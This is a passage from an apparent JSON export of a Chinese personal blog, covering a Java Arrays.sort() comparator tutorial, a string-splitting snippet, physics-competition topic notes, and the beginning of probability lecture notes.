size;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eDog\u003c/span\u003e \u003cspan class=\"keyword\"\u003eextends\u003c/span\u003e \u003cspan class=\"title class_\"\u003eAnimal\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"title function_\"\u003eDog\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e s)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e size = s;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eCat\u003c/span\u003e \u003cspan class=\"keyword\"\u003eextends\u003c/span\u003e \u003cspan class=\"title class_\"\u003eAnimal\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"title function_\"\u003eCat\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e s)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e size = s;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eAnimalSizeComparator\u003c/span\u003e \u003cspan class=\"keyword\"\u003eimplements\u003c/span\u003e \u003cspan class=\"title class_\"\u003eComparator\u003c/span\u003e\u0026lt;Animal\u0026gt;{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e@Override\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecompare\u003c/span\u003e\u003cspan class=\"params\"\u003e(Animal o1, Animal o2)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e o1.size - o2.size;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eArraysSort\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(String[] args)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eDog\u003c/span\u003e \u003cspan class=\"variable\"\u003ed1\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eDog\u003c/span\u003e(\u003cspan class=\"number\"\u003e2\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eDog\u003c/span\u003e \u003cspan class=\"variable\"\u003ed2\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eDog\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eDog\u003c/span\u003e \u003cspan class=\"variable\"\u003ed3\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eDog\u003c/span\u003e(\u003cspan class=\"number\"\u003e3\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Dog[] dogArray = {d1, d2, d3};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e printDogs(dogArray);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Arrays.sort(dogArray, \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eAnimalSizeComparator\u003c/span\u003e());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e printDogs(dogArray);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e System.out.println();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eCat\u003c/span\u003e \u003cspan class=\"variable\"\u003ec1\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eCat\u003c/span\u003e(\u003cspan class=\"number\"\u003e2\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eCat\u003c/span\u003e \u003cspan class=\"variable\"\u003ec2\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eCat\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eCat\u003c/span\u003e \u003cspan class=\"variable\"\u003ec3\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eCat\u003c/span\u003e(\u003cspan class=\"number\"\u003e3\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Cat[] catArray = {c1, c2, c3};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e printDogs(catArray);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Arrays.sort(catArray, \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eAnimalSizeComparator\u003c/span\u003e());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e printDogs(catArray);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eprintDogs\u003c/span\u003e\u003cspan class=\"params\"\u003e(Animal[] animals)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(Animal a: animals)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e System.out.print(\u003cspan class=\"string\"\u003e\u0026#34;size=\u0026#34;\u003c/span\u003e+a.size + \u003cspan class=\"string\"\u003e\u0026#34; \u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e System.out.println();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 结果\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003esize=2 size=1 size=3 \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003esize=1 size=2 size=3 \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003esize=2 size=1 size=3 \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003esize=1 size=2 size=3 \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"4、sort-T-a-int-formIndex-int-toIndex-Comparator-lt-supre-T-gt-c\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%20Arrays.sort()%E8%AF%A6%E8%A7%A3/#4%E3%80%81sort-T-a-int-formIndex-int-toIndex-Comparator-lt-supre-T-gt-c\" class=\"headerlink\" title=\"4、sort(T[] a, int formIndex, int toIndex, Comparator\u0026lt;? supre T\u0026gt; c)\"\u003e\u003c/a\u003e4、sort(T[] a, int formIndex, int toIndex, Comparator\u0026lt;? supre T\u0026gt; c)\u003c/h3\u003e\u003cp\u003e根据指定比较器产生的顺序对指定对象数组的指定对象数组进行排序。\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e java.util.Arrays;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e java.util.Comparator;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eArraysSort\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(String[] args)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e[][] nums=\u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eint\u003c/span\u003e[][]{{\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e3\u003c/span\u003e},{\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e2\u003c/span\u003e},{\u003cspan class=\"number\"\u003e4\u003c/span\u003e,\u003cspan class=\"number\"\u003e5\u003c/span\u003e},{\u003cspan class=\"number\"\u003e3\u003c/span\u003e,\u003cspan class=\"number\"\u003e7\u003c/span\u003e}};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Arrays.sort(nums,\u003cspan class=\"number\"\u003e2\u003c/span\u003e,\u003cspan class=\"number\"\u003e4\u003c/span\u003e,\u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eComparator\u003c/span\u003e\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e[]\u0026gt;(){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e@Override\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecompare\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e[] a,\u003cspan class=\"type\"\u003eint\u003c/span\u003e[] b)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(a[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]==b[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a[\u003cspan class=\"number\"\u003e1\u003c/span\u003e]-b[\u003cspan class=\"number\"\u003e1\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]-b[\u003cspan class=\"number\"\u003e0\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e });\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 结果\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e[1, 3]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e[1, 2]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e[3, 7]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e[4, 5]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e可以看到只对第三行和第四行排序了\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%20Arrays.sort()%E8%AF%A6%E8%A7%A3/"},{"title":"Java 分割出字符串中的字母或数字","time":"2022-11-22T11:04:01Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eString name = \u0026#34;test001\u0026#34;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eString zm = name.replaceAll(\u0026#34;[^(a-zA-Z)]\u0026#34;,\u0026#34;\u0026#34; );  // 取出字母\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eString number = name.replaceAll(\u0026#34;[^(0-9)]\u0026#34;, \u0026#34;\u0026#34;)   // 取出数字\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%20%E5%88%86%E5%89%B2%E5%87%BA%E5%AD%97%E7%AC%A6%E4%B8%B2%E4%B8%AD%E7%9A%84%E5%AD%97%E6%AF%8D%E6%88%96%E6%95%B0%E5%AD%97/"},{"title":"物理学术竞赛:选题讨论","time":"2022-11-19T10:34:23Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"选题结果\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/19/%E7%89%A9%E7%90%86/%E7%89%A9%E7%90%86%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B%EF%BC%9A%E9%80%89%E9%A2%98%E8%AE%A8%E8%AE%BA/#%E9%80%89%E9%A2%98%E7%BB%93%E6%9E%9C\" class=\"headerlink\" title=\"选题结果\"\u003e\u003c/a\u003e选题结果\u003c/h2\u003e\u003cp\u003e一眼看过去就\u003cdel\u003e能水\u003c/del\u003e直接有思路的有这么几个:\u003c/p\u003e\u003ch3 id=\"光盘绿条纹\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/19/%E7%89%A9%E7%90%86/%E7%89%A9%E7%90%86%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B%EF%BC%9A%E9%80%89%E9%A2%98%E8%AE%A8%E8%AE%BA/#%E5%85%89%E7%9B%98%E7%BB%BF%E6%9D%A1%E7%BA%B9\" class=\"headerlink\" title=\"光盘绿条纹\"\u003e\u003c/a\u003e光盘绿条纹\u003c/h3\u003e\u003cp\u003e绿是因为光栅衍射,条纹是因为……光沿直线传播,以及光盘的光学、材料特征?\u003c/p\u003e\u003cp\u003e或者谷歌解决了也行。感觉这东西谷歌应该有不少资料。\u003c/p\u003e\u003ch3 id=\"螺钉下滑\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/19/%E7%89%A9%E7%90%86/%E7%89%A9%E7%90%86%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B%EF%BC%9A%E9%80%89%E9%A2%98%E8%AE%A8%E8%AE%BA/#%E8%9E%BA%E9%92%89%E4%B8%8B%E6%BB%91\" class=\"headerlink\" title=\"螺钉下滑\"\u003e\u003c/a\u003e螺钉下滑\u003c/h3\u003e\u003cp\u003e一旦螺钉摆动到某一点时,摩擦力不足以提供圆周运动的向心力,它就会沿斜面向下滑动——将重力势能转化为动能,而这会使得其速度越来越大。因此,越过临界点之后,他就会无休止地开始下滑,并逐渐加速。\u003c/p\u003e\u003cp\u003e对于它的分析,由于钉子比较小,因此只在单摆运动时考虑其转动惯量,下滑时由于是平动,因此整体受力分析+牛二即可。在它尚未下滑之前,给它初摆角后,需结合向心运动加速度公式分析它是否会滑下斜面。\u003c/p\u003e\u003ch3 id=\"提米米瓶实验\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/19/%E7%89%A9%E7%90%86/%E7%89%A9%E7%90%86%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B%EF%BC%9A%E9%80%89%E9%A2%98%E8%AE%A8%E8%AE%BA/#%E6%8F%90%E7%B1%B3%E7%B1%B3%E7%93%B6%E5%AE%9E%E9%AA%8C\" class=\"headerlink\" title=\"提米米瓶实验\"\u003e\u003c/a\u003e\u003cdel\u003e提米\u003c/del\u003e米瓶实验\u003c/h3\u003e\u003cp\u003e其实就是摩擦力,以及力学传导的问题。将筷子/勺子插入米瓶中,再向上提,会连着瓶子一块提起来。此过程中:筷子受到米的挤压力和向下的摩擦力,米对瓶子各向均有力的作用,但瓶子受到米的合力向上。\u003c/p\u003e\u003cp\u003e可以先从整体法分析,瓶子受到米向上的合力,这部分分量由瓶壁与米的摩擦力和瓶顶受到米向上的支持力提供;对于筷子而言,筷子受到米竖直向下的摩擦力。\u003c/p\u003e\u003cp\u003e如果仅仅是描述现象的话那应该相对比较容易。定量计算的话感觉还是有些麻烦的。\u003c/p\u003e\u003ch3 id=\"微粒上浮\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/19/%E7%89%A9%E7%90%86/%E7%89%A9%E7%90%86%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B%EF%BC%9A%E9%80%89%E9%A2%98%E8%AE%A8%E8%AE%BA/#%E5%BE%AE%E7%B2%92%E4%B8%8A%E6%B5%AE\" class=\"headerlink\" title=\"微粒上浮\"\u003e\u003c/a\u003e微粒上浮\u003c/h3\u003e\u003cp\u003e初步分析应该是张力把微粒吸上去的速度大于水滴的下落速度,从而产生了微粒似乎在往上走的现象。\u003c/p\u003e\u003chr/\u003e\u003cp\u003e选题上大致就是这样。第二个倒是能直接做出来,第一个感觉应该能查资料解决;后两个纯粹定性描述一下就行了。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e编辑:拿奖了,校级。但是忘了登我的名字。\u003cbr/\u003e下次还是多关注一下群里的通知吧\u003c/p\u003e\u003c/blockquote\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/11/19/%E7%89%A9%E7%90%86/%E7%89%A9%E7%90%86%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B%EF%BC%9A%E9%80%89%E9%A2%98%E8%AE%A8%E8%AE%BA/"},{"title":"第一章:概率论的基本概念","time":"2022-11-17T07:41:16Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e概率论的内容组织线索:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020221117154226.png\"/\u003e\u003c/p\u003e\u003ch2 id=\"随机现象与随机实验\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/17/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E6%A6%82%E7%8E%87%E8%AE%BA%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/#%E9%9A%8F%E6%9C%BA%E7%8E%B0%E8%B1%A1%E4%B8%8E%E9%9A%8F%E6%9C%BA%E5%AE%9E%E9%AA%8C\" class=\"headerlink\" title=\"随机现象与随机实验\"\u003e\u003c/a\u003e随机现象与随机实验\u003c/h2\u003e\u003cp\u003e随机现象分为\u003cstrong\u003e确定性现象\u003c/strong\u003e、\u003cstrong\u003e不确定性现象\u003c/strong\u003e。前者结果确定,例如太阳东升西落;后者现象不确定,例如未来的天气。随机试验E表示,\u003cstrong\u003e针对随机现象的观察、记录、试验\u003c/strong\u003e。它有如下特点:\u003c/p\u003e\u003cul\u003e\u003cli\u003e可重复\u003c/li\u003e\u003cli\u003e全部可能性已知\u003c/li\u003e\u003cli\u003e试验前不确定试验结果\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"样本空间与随机事件\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/17/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E6%A6%82%E7%8E%87%E8%AE%BA%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/#%E6%A0%B7%E6%9C%AC%E7%A9%BA%E9%97%B4%E4%B8%8E%E9%9A%8F%E6%9C%BA%E4%BA%8B%E4%BB%B6\" class=\"headerlink\" title=\"样本空间与随机事件\"\u003e\u003c/a\u003e样本空间与随机事件\u003c/h2\u003e\u003cp\u003e\u003cstrong\u003e样本空间$\\Omega$\u003c/strong\u003e 